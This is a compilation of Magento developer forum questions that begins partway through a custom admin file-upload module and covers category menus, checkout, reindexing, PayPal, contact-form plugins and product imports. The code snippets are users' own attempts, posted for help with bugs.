    $uploader->save($path,$fname); //save the file on the specified path

}
catch (Exception $e)
{
    echo 'Error Message: '.$e->getMessage();
}
}

 <form id="doc-form" name="doc-form" method="post" action="" enctype="multipart/form-data">
 Upload Document
 <input type="file" title="File" name="docname">
 <button type="submit" title="Save">Upload</button>
 </form>

Here is the config.xml

<?xml version="1.0"?>
<config>
<modules>
    <MageSf_OrderCustom>
        <version>1.0.1</version>
    </MageSf_OrderCustom>
</modules>
<global>
    <blocks>
        <ordercustom>
            <class>MageSf_OrderCustom_Block</class>
        </ordercustom>
    </blocks>
</global>
<adminhtml>
   <layout>
        <updates>
            <ordercustom>
                <file>magsf_ordercustom.xml</file>
            </ordercustom>
        </updates>
    </layout>
</adminhtml>
<admin>
<routers>
     <adminhtml>
         <args>
             <modules>
            <MageSf_OrderCustom after="Mage_Adminhtml">MageSf_OrderCustom_Adminhtml</MageSf_OrderCustom>
            </modules>
        </args>
   </adminhtml>

And my module configuration file is as:

<?xml version="1.0"?>
<layout>
<adminhtml_sales_order_view>
    <reference name="sales_order_tabs">
        <action method="addTab">
            <name>order_view_tab_ordercustom</name>
               <block>ordercustom/adminhtml_order_view_tab_ordercustom</block>
        </action>
    </reference>
   </adminhtml_sales_order_view>
  </layout>

But issue is this when i submit the form nothing happens and page redirected to the dashboard page. what wrong i am doing and how i can fix this.

Want something like this:


texts: Magento2: List the all categories and sub categories in home page left sidebar

texts:
I am using Magento 2.2.4 for online Bookstore. I have books under categories and sub-categories.

I need to list all these categories and sub-categories on Homepage left side like in the Screenshot below.

When clicking on the ctaegory, it should be navigated to the books under relevant category.  Since I am fresher to Magento and PHP, I am trying customization using CMS rather code modifications. I tried this with widgets and blocks, but I could not find an effective way. Is there a way to do this?


texts:
a few customers complained that they addes products to theri basket and once they pressed PROCEED TO CHECKOUT they got the messsage
'your basket is empty'

does anyone know why this may happen?
does the system crash??

thanks
Stef


texts: Add custom block in checkout page, payment metod

texts:
I want to add some block or widget in the Checkout page, as the following, to can custom the additional blocks:

the photo is from other website,
I'm waiting some advice
Thank you,


texts: Payment method data not showing on Update order status emails

texts:
Payment method title not showing on update order status emails like Status Update to Preparing and Status Update to Shipping emails. Its showing the block but not showing title.
Invoice and Shipment email are showing payment method data.
Which file contains the payment block for update status emails?


texts:
This is more of a research question - we have a site which is having some real problems with reindexing (30,000 products). It's now at the point where we're experiencing a lot of timeouts and SQLSTATE errors - Lock wait timeout exceeded - so being able to save changes in the admin panel is sporadic at best.

We are trying to ascertain if the indexes which say they are still running are actually doing so. We reindexed via the command line php indexer.php --reindexall. Hours later, in "Index Management" the Search Index still says Processing. All the other indexes are either finished or pending but not running. The main problem seems to be with the search indexes.

The number of rows in the catalogsearch_fulltext DB table are not changing - is this an indication that the Search Index is not actually still running?

In the var/locks folder, we have the following files:

index_process_1.lock
index_process_2.lock
index_process_3.lock
index_process_4.lock
index_process_5.lock
index_process_6.lock
index_process_7.lock
index_process_9.lock

What does the existence of these files actually mean? What effect would deleting them have?

For what it's worth we are using the Mirasvit Advanced Search Pro module which uses Sphinx. https://mirasvit.com/magento-extensions/magento-sphinx-search.html


texts: PayPal Automatically Update Payment Review Orders

texts:
If a customer pays via PayPal and his account is not covered, the order in Magento is in the state "payment_review". You can then:

Accept the payment manually.
Deny the payment.
Get a payment update.

As shown in this screenshot:

What clients mostly do is to get the payment update every once in a while. If the account is covered again, the client will get an information that the payment was successful and that the order can now be processed. The issue is that clients often forget that, so that these orders do not get updated/processed. And after 30 days, the payment is automatically cancelled by PayPal.

Is there any available solution, which gets these payment updates automatically? It should be fairly simple to implement with a nightly cronjob, which gets a payment update for all orders in the payment_review state, but I first wanted to check if there is any standard solution to this issue?


texts: Magento 2 add maxlength in form ui component

texts: I know magento give max_text_length validation for validating length & print error message regarding it, but I want to add attribute in my input field as maxlength="5" so i can stop user to adding more value from it.


texts: How to show number of followers of social network in footer

texts:
I want to show number of followers of social network (facebook-twitter-googleplus) in footer, but I don't have any idea.

How can I do this?


texts: Magento displaying price with 3 digit after decimal point

texts:
I'm developing a magento website, prices are displaying normally. But for some prices like 9.09, magento displays 9.090.

How can i can i restrict digits to 2 after decimal point ?

Here's the code i'm using:

<?php echo $this->getPriceHtml($_product, true) ?>

and here's ow it renders:

      3€090


texts:
I am using default magento editor. when i taste with different browsers i found that Paste is not working in editor.

Can anyone suggest me why this happen ?


texts: Upload large files from system config not working

texts:
I'm trying to Upload a zip archive to media from System/Configuration but when I choose a large file (e.g. 35MB) it redirect to Dashboard and I get the error

  Invalid Form Key. Please refresh the page.

But if I upload a small file (e.g. 2MB) it is working fine.

In php.ini upload_max_filesize is 200MB

Can anyone help me please? Thank you.


texts: Webmaster tool robots.txt fetch failed, fresh magento 2 web site

texts:
Problem is google webmaster tools cant fetch my magento2  web site,

My backend settings,

I want to use secure base url so that reason I chanced base url as a https, but I think it doesn't matter because when I tried to fetch as google "http://" look like succeed but render says "This website temporarily unavailable."

I verified all domains at google webmaster, when I tired fetch as google for "https://" error is "Temporarily unreachable"

Any Ideas ?


texts: How to Get All Product with pagination using REST API in magento 2?

texts: Using REST API Get all product with pagination. In first page 20 product and second page 20 products ect...


texts:
im trying to make plugin for contact form to send email with the fields:

first name
last name
phone
comment
email

last name email phone comment

Here my code

    <?php

namespace Convert\CustomContact\Plugin;
use Magento\Framework\App\Request\DataPersistorInterface;
use Magento\Framework\App\Action\Context;
use Magento\Framework\Escaper ;
use Magento\Store\Model\StoreManagerInterface;
use Magento\Framework\App\Config\ScopeConfigInterface;
use Magento\Framework\Translate\Inline\StateInterface;
use Magento\Framework\Mail\Template\TransportBuilder;
use Magento\Framework\Message\ManagerInterface ;

class Post
{
    const XML_PATH_EMAIL_RECIPIENT = 'contact/email/recipient_email';
    protected $_escaper;
    protected $_contactConfig;
    protected  $_transportBuilder;
    protected $inlineTranslation;
    protected $scopeConfig;
    protected $storeManager;
    protected $messageManager;

    // It's just a regular constructor with classes we want to use in our code
    public function __construct(
            DataPersistorInterface $dataPersistor,
            Context $context,
            Escaper $escaper,
            TransportBuilder $transportBuilder,
            StateInterface $inlineTranslation,
            ScopeConfigInterface $scopeConfig,
            StoreManagerInterface $storeManager,
            ManagerInterface $messageManager
    ) {
        $this->dataPersistor = $dataPersistor;
        $this->context = $context;
        $this->_escaper = $escaper;
        $this->scopeConfig = $scopeConfig;
        $this->storeManager = $storeManager;
        $this->inlineTranslation = $inlineTranslation;
        $this->_transportBuilder =$transportBuilder;
        $this->messageManager = $messageManager;

}
    public function afterExecute(\Magento\Contact\Controller\Index\Post $subject, $result)
    {

        if ($this->dataPersistor->get('contact_us')) {
            $post = $subject->getRequest()->getPostValue();

            try{

            $postObject = new \Magento\Framework\DataObject();
            $postObject->setData($post);

            $error = false;

            $sender = [
            'firstname' => $this->_escaper->escapeHtml($post['firstname']),
            'lastname' => $this->_escaper->escapeHtml($post['lastname'])
            ];

            $storeScope = \Magento\Store\Model\ScopeInterface::SCOPE_STORE;
            $transport = $this->_transportBuilder
            ->setTemplateIdentifier('send_email_email_template')
            ->setTemplateOptions(
            [
            'area' => \Magento\Framework\App\Area::AREA_FRONTEND,
            'store' => \Magento\Store\Model\Store::DEFAULT_STORE_ID,
            ]
            )
            ->setTemplateVars($sender)
            ->setFrom($post['email'])
            ->addTo($this->scopeConfig->getValue(self::XML_PATH_EMAIL_RECIPIENT, $storeScope))
            ->setReplyTo($replyToName)
            ->getTransport();
             $transport->sendMessage();
            $this->inlineTranslation->resume();
            $this->messageManager->addSuccess(
            __('Thanks for contacting us with your comments and questions. We\'ll respond to you very soon.')
            );

             } catch (\Exception $e) {
            $this->inlineTranslation->resume();
            $this->messageManager->addError(
            __('We can\'t process your request right now. Sorry, that\'s all we know.'.$e->getMessage())
            );

             }
           // return $this->context->getResultRedirectFactory()->create()->setPath('/');
        }
        return $result;
    }

}

The problem is that when i clicked on submit button of contact page, it didn't get the value of the first name and last name. Instead that, it still took the value of name field and print the alert name is missing.
Anyone can help me with this?
Thanks.


texts: After creating a custom theme , 2 same theme are inserted into the theme table and give an error, why?

texts:
After creating a custom theme , 2 same theme are inserted into the theme table and give an error

  Item (Magento\Theme\Model\Theme\Data) with the same ID "0" already exists.

Please help me


texts: product->seName() not work and new products appear in category products but disappear in manage products page?

texts:
i wanna get products from shopsense.shopstyle.com using simplexml_load_file() method in that code:

class Shopsense_Shopstyle_ShopstyleController extends Mage_Adminhtml_Controller_Action{

    public function indexAction(){

        $this->loadLayout();//app/design/adminhtml

        $this->_setActiveMenu('shopsense');
        $this->_addLeft($this->getLayout()
             ->createBlock('core/text')
             ->setText('
import products
'));

               $block= $this->getLayout()
                ->createBlock('shopsense_shopstyle/adminhtml_adminblock')
                ->setTemplate('shopsense/adminblock.phtml');

 Mage::app()->setCurrentStore(Mage_Core_Model_App::ADMIN_STORE_ID);
$results=simplexml_load_file("http://api.shopstyle.com/api/v2/products?pid=1761-25615319-5&offset=0&limit=1&format=xml");

foreach($results->products as $prod){
    foreach($prod as $pro){
            $product = Mage::getModel('catalog/product');
                    $product
                        ->setStoreId(1)
                        ->setWebsiteIds(array(1))
                        ->setAttributeSetId(9)
                        ->setTypeId('simple')
                        ->setCreatedAt(strtotime('now'))
                        ->setUpdatedAt(strtotime('now'))

                        ->setSku($pro->id)
                        ->setName($pro->name)
                        ->setWeight(4.000)
                        ->setStatus(1)
                        ->setTaxClassId(4)
                        ->setVisibility(Mage_Catalog_Model_Product_Visibility::VISIBILITY_BOTH)
                        ->setManufacturer(28)
                        ->setColor(24)
                        ->setNewsFromDate('10/26/2014')
                        ->setNewsToDate('12/30/2014')
                        ->setCountryOfManufacture('EG')
                        ->setPrice(11.22)
                        ->setCost(22.33)
                        ->setSpecialPrice(00.44)
                        ->setSpecialFromDate('06/1/2014')
                        ->setSpecialToDate('06/30/2014')
                        ->setMsrpEnabled(0)
                        ->setMsrpDisplayActualPriceType(1)
                        ->setMsrp(99.99)
                        ->setMetaTitle('test meta title 2')
                        ->setMetaKeyword('test meta keyword 2')
                        ->setMetaDescription('test meta description 2')

                        ->setDescription('This is a long description')
                        ->setShortDescription('This is a short description')

                        ->setMediaGallery (array('images'=>array (), 'values'=>array ()))
                        ->addImageToMediaGallery('media/catalog/product/1/0/10243-1.png', array('image','thumbnail','small_image'), false, false)
                        ->setStockData(array(
                                        'use_config_manage_stock' => 0,
                                           'manage_stock'=>1,
                                           'min_sale_qty'=>1,
                                           'max_sale_qty'=>2,
                                           'is_in_stock' => 1,
                                           'qty' => 10
                                       )
                        )

                        ->setCategoryIds(array(21)); //assign product to categories
                    $product->save();

       }
   }

                $this->_addContent($block);
                $this->renderLayout();

    }

but i find the new products here
 [with out the name !!!!!!!!!!!!!!!] why??

and not found that products in manage products page here